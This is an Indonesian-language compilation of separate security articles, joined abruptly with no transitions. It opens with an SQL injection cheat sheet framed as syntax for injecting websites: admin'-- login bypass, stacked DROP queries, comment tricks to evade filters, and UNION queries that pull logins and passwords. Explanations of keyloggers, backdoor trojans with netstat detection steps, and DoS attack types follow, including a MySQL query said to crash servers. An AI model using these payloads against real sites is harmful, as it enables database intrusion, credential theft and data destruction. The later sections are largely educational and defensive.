Udah pada tau kan soal SQL injection?
Yah kalo belum baca deh Tutorialnya (dulu pernah ta buat)
Itu tutorial basic, sekarang kita ke tutorial advance.
Disini ga akan dibahas gimana cara inject nya tapi berbagai syntax yang bisa kita gunakan
untuk menginject suatu website (jika emang bisa diinject).
Oke, lets’ begin
Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#
Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan
2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist
+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya
3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–
4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)
5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist
Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist
6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.
Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel
Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel
Keylogger adalah software yang digunakan untuk merekam aktifitas yang anda lakukan di depan komputer. Jadi intinya sofware ini digunakan untuk mencuri password si target.
Karena Sofware Keylogger inilah akun anda bisa dengan mudah nya kena hack
Karena fungsi nya untuk merekan segala aktivitas si pemakai (user) komputer, maka Sofware Keylogger ini mampu mencatat username dan password dari suatu account (akun) si pemakai komputer tersebut....mmmm...berbahaya kan....!!!
Bagaimana kalo Sofware Keylogger ini di pasang di warnet???, Sudah dapat dipastikan akun blog, email, facebook, twitter, Yahoo Messenger dan akun-akun lainnya akan tercatat secara otomatis dan biasanya tercatat dalam bentuk file teks (txt).
Sofware Keyloger ini bersifat hidden (tersembunyi). Biasanya dia akan muncul di systray jika kita melakukan kombinasi keyboard atau shortcut tertentu. Begitu kita menekan kombinasi keyboard, maka icon keylogger akan muncul di systray.
Jadi bila ada gejala yang mencurigakan, maka sebaiknya urungkan niat anda untuk membuka akun-akun anda yang bersifat pribadi.
Lebih aman nya gunakan komputer dan internet pribadi saja
Mungkin sebagian Anda ada yang sudah mengenal Trojan atau biasa disebut dengan trojan horse. Ya, trojan horse adalah program jahat yang umumnya disamarkan sebagai program biasa agar tidak menimbulkan kecurigaan pengguna yang menjalankan program tersebut. Ada beberapa cara pada trojan untuk menyamarkan dirinya diantaranya adalah mengeluarkan pesan error saat dijalankan, sehingga pengguna menyangka bahwa program yang dijalankan sedang mengalami error padahal trojan telah aktif secara tersembunyi. Selain itu trojan dapat menggabungkan diri dengan program biasa tanpa pengguna sadari.
Umumnya, tujuan dibuatnya trojan adalah mendapatkan informasi dari target baik berupa password, data/dokumen penting, hingga foto pribadi. Mayoritas trojan memiliki fitur mengendalikan konputer target dari jarak jauh (remote access) dan tujuan dibuatnya trojan antara lain menggunakan target sebagai mesin untuk melakukan spam, mencuri data, mendownload malware lain, menghapus data/file, merekam tikan (keystroke logging), melihat isi layar, merekam aktivitas pengguna, merusak sistem, menghilangkan bukti digital sampai sabotase komputer.
Mengenal Trojan Backdoor
Backdoor adalah salah satu jenis trojan yang sering digunakan untuk mengontrol suatu komputer dari jarak jauh melalui jaringan baik lokal maupun Internet. Ciri khas backdoor adalah berjalan secara tersembunyi, tidak menampilkan hal-hal yang mencurigakan, serta membuka port agar komputer dapat diakses secara remote. Backdoor dapat juga disebut sebagai Remote Access Trojan atau Remote Administration Tool (RAT). Contoh trojan backdor (RAT) adalah Posion Ivy, Bifrost, Optix Pro, DarkComet-Rat, XpertRAT, Back Orifice dan Sub Seven (Sub7).Trojan backdoor merupakan jenis malware yang sangat berbahaya. Pasalnya, selain pencurian data, komputer korban dapat dijadikan zombie untuk menyerang server. Berdasarkan suatu situs berita Jerman, seorang warga negara Jerman menyewa jasa zombie dari Rusia dengan kisaran $65 per hari untuk melumpuhkan beberapa situs judi online saat piala dunia diselenggarakan. Selain reputasi IP pada komputer korban menurun, bandwidth terkuras, kecepatan akses dan kinerja sistem pun berkurang.
Cara kerja Trojan Backdoor
Ada dua bagian backdoor, yaitu client dan server. Client adalah program yang diinstal di komputer target sedangkan server merupakan program yang digunakan attacker dalam mengoperasikan komputer target. Ada dua metode komunikasi antara client dan server yaitu direct connection dan reverse connection.
- Pada direct connection, server berusaha melakukan koneksi ke IP target agar dapat berkomunikasi dengan client. Tapi hal ini lebih mudah diblok oleh program firewall.
- Pada reverse connection tidak membutuhkan IP target karena serverlah yang berusaha melakukan koneksi ke IP client (attacker). Ketika attacker menjalankan client dengan koneksi Internet lain, IP pun akan berubah, lalu bagaimana membuat IP client yang bersifat taktis? Untuk mengatasi hal ini, attacker dapat memakai dynamic DNS yang banyak disediakan secara gratis oleh website-website tertentu.
Cara manual untuk mendeteksi backdoor adalah melihat port yang terkoneksi dan port yang sedang menunggu koneksi dari luar. Berikut ini langkah-langkah untuk mendeteksi trojan backdoor.
- Tutup semua program, terutama yang berhubungan dengan koneksi jaringan.
- Buka dialog Run dengan menggunakan kombinasi tombol Window+R. Isi dengan "CMD"
- Muncul jendela CMD dan ketikkan "netstat-aon"
- Hasil perintah netstat akan terlihat sebagai berikut:
Active Connections
Proto | Local Addresss | Foreign Address | State | PID |
TCP | 0.0.0.0:135 | 0.0.0.0:0 | LISTENING | 944 |
TCP | 0.0.0.0:445 | 0.0.0.0:0 | LISTENING | 4 |
TCP | 127.0.0.1:1028 | 0.0.0.0:0 | LISTENING | 1312 |
TCP | 127.0.0.1:1135 | 127.0.0.1:3460 | SYN.SENT | 2328 |
TCP | 192.168.244.131:139 | 0.0.0.0:0 | 4 | |
UDP | 0.0.0.0:445 | *:* | 392 | |
UDP | 0.0.0.0:500 | *:* | 1084 | |
UDP | 0.0.0.0:1039 | *:* | 692 | |
UDP | 127.0.0.1:123 | *:* | 1036 | |
UDP | 127.0.0.1:1900 | *:* | 1152 | |
UDP | 192.168.244.131:123 | *:* | 1036 | |
UDP | 192.168.244.131:137 | *:* | 4 | |
UDP | 192.168.244.131:138 | *:* | 4 | |
UDP | 192.168.244.131:1900 | *:* | 1152 | |
C:\Documents and Settings\Administrator> |
Transmission Control Protocol atau TCP merupakan bagian protocol yang digunakan untuk mengirim data. Kolom kedua berisi alamat komputer, sedangkan kolom ketiga berisi alamat tujuan packet akan dikirimkan. Dalam kasus ini, contoh tersebut memperlihatkan alamat local 127.0.0.1. Dalam kasus nyata, kolom ini berisi alamat DNS, misalnya yang dibuat melalui NO.IP.com. Sementara, kolom keempat berisi SYN_SENT yang berarti ada program yang sedang menunggu jawaban dari respon luar. Hal ini menandakan server belum terkoneksi ke client. Jika server telah terkoneksi ke client, kolom ini berisi tulisan ESTABLISHED.
Kolom terakhir berisi PID dari proses program yang sedang menjalankan rutin koneksi ini. Untuk melihat proses program apakah itu, Anda dapat menggunakan Task Manager.
Mengingat begitu berbahayanya malware yang satu ini, selain mendeteksinya dengan cara manual, Anda pun juga bisa menggunakan antivirus andal untuk membersihkan komputer Anda yang terinfeksi malware ini terutama oleh Poison Ivy.
Denial of service adalah jenis serangan
yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati
layanan yang diberikan server. Server sesuai namanya adalah pelayan yang
harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi
24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani
pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam
kondisi normal, pengunjung dapat meminta resource dari web server untuk
ditampilkan dalam browsernya, namun bila web server terkena serangan DoS
maka pengunjung tidak bisa menikmati layanan web server.
Secara umum ada 2 cara melakukan serangan DoS:
- Mematikan Server
- Menyibukkan Server
- Tanpa bug/vulnerability
- Meng-exploit bug/vulnerability
Anda pernah mengalami ingin memakai
telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel
kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”.
Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana
kita menemukan telpon umum yang rusak karena serangan DoS seperti
membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi
lainnya.
Tujuan serangan ini adalah membuat
server shutdown, reboot, crash, “not responding”. Jadi serangan ini
menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan
tetap terjadi walaupun attacker sudah berhenti menyerang, server baru
normal kembali setelah di-restart/reboot.
Bagaimana cara serangan DoS ini
dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability
pada server. Kata kunci pada vulnerability jenis ini biasanya adalah
“specially/carefully crafted packet/request”, yang artinya paket yang
dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu
mengandung sifat tertentu yang membuat server mati ketika mengolah
paket khusus itu.
Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:
- Ping of Death ( CA-1996-26 )
- MySQL IF Query DoS ( SA25188 ) Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.
Ini adalah jenis bug yang sudah sangat
tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug
ini. Bug ini bila diexploit akan membuat server crash, freeze atau
reboot. Serangan ini dilakukan
dengan mengirimkan “specially crafted” paket berupa oversized ICMP
packet, yaitu paket yang ukurannya di atas normal. Ketika server
menerima dan memproses paket yang “aneh” ini, maka server akan crash,
freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill”
karena bisa merusak server hanya dengan satu tembakan saja.
- Cisco Global Site Selector DNS Request Denial of Service (SA33429)
Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.
Tiga contoh di atas kiranya cukup
memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan.
Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang
membuat server berhenti bekerja dan biasanya dilakukan sendirian secara
remote dengan mengirimkan specially crafted packet.
DoS dengan Menyibukkan Server: Make Them As Busy As Possible!
Pada waktu menjelang lebaran kita sering
merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim.
Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor
untuk menjawab kuis terasa begitu sulit. Hal ini terjadi karena ada
begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon
pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu
sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip
dengan yang terjadi ketika sebuah server mendapat serangan denial of
service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang
mematikan server, namun jenis DoS yang menyibukkan server.
Jenis DoS ini bersifat sementara, server
akan kembali normal bila attacker berhenti mengirimkan request yang
membuat sibuk server.
DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:
- Exploiting vulnerability: Menyerang dengan malicious request/packet
- No vulnerability exploitation: Menyerang dengan normal request/packet
Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.
Make Server Busy by Exploiting Vulnerability
Dalam serangan DoS jenis ini, attacker
memanfatkan bug yang membuat server berlebihan dalam menggunakan
resource (cpu,memory,disk space dsb). Attacker akan mencari cara
bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras
dari request normal) untuk melayani request dia. Biasanya serangan DoS
jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan
dengan melakukan banyak request dengan setiap request membuat server
mengonsumsi lebih banyak resource dari request yang normal.
Dalam hitungan matematika sederhana,
bila attacker bisa membuat server bekerja selama 10 detik hanya untuk
melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan
request 1.000x untuk membuat server melayani dia selama 10.000 detik
(2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati
layanan server.
Untuk lebih memahami DoS jenis ini, mari
kita lihat contoh-contoh vulnerability yang bisa diexploit untuk
melancarkan serangan DoS jenis ini:
- TCP SYN Flood DoS
- Apache mod_deflate DoS
Ini adalah serangan DoS yang sudah
sangat tua. Attacker menyerang dengan cara membanjiri server dengan
malicious request berupa paket SYN dengan fake source IP address. SYN
packet adalah paket dari client yang mengawali terbentuknya koneksi
TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi
dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way
handshake.
Triknya adalah pada fake source ip
address pada paket SYN dari client. Akibatnya server akan mengirim
SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak
akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap
client yang mencoba membuka koneksi, server akan mengalokasikan resource
seperti memori dan waktu untuk menunggu datangnya balasan ACK dari
client. Dengan cara ini attacker menghabiskan resource server hanya
untuk melayani request palsu dari attacker.
Apache menggunakan mod_deflate untuk
memampatkan file. Bila visitor meminta sebuah file, maka apache akan
menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke
visitor tersebut. Namun bila di tengah proses pemampatan, visitor
memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file
untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi
bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan
file untuk client yang sudah tidak ada.
Attacker memanfaatkan kelemahan ini
dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu
singkat memutuskan koneksi sehingga membuat server bekerja keras
mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang
berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.
Dua contoh vulnerability di atas cukup
menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya
adalah dengan mengirim banyak malicious request/paket yang membuat
server mengonsumsi resource lebih banyak dan lebih lama untuk setiap
requestnya.
Make Server Busy Without Exploiting Vulnerability
Ini adalah jenis serangan yang
mengandalkan pada kemampuan mengirimkan normal request
sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis
ini dengan DoS yang mengexploit vulnerability adalah pada requestnya.
Request yang dikirimkan pada DoS jenis ini adalah request yang normal
seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi
resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability
mengirimkan specially crafted malicious request untuk membuat server
mengonsumsi resource lebih banyak untuk melayani malicious request
tersebut.
Normal request hanya membuat server
mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan
mengganggu kerja server secara keseluruhan. Diperlukan normal request
dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya.
Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan
beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus
hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS)
karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).
Serangan DDoS dilakukan dengan
menggunakan komputer zombie atau robot. Zombie adalah komputer yang
sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh.
Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net.
Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm,
setiap komputer yang terinfeksi akan diinstall program yang membuat
komputer bersedia menjalankan perintah dari attacker.
Gambar di atas menjelaskan cara kerja
DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat
request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker
sangat besar, maka web server akan dibanjiri request sehingga menjadi
terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real
visitor).
Serangan jenis ini tidak ada obatnya
karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila
pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan
patching atau update software, maka serangan ini tidak bisa dihentikan
dengan update atau patch.
Kesimpulan
Denial of service adalah serangan yang
membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut
adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:
- Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
- Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
- Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
- Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi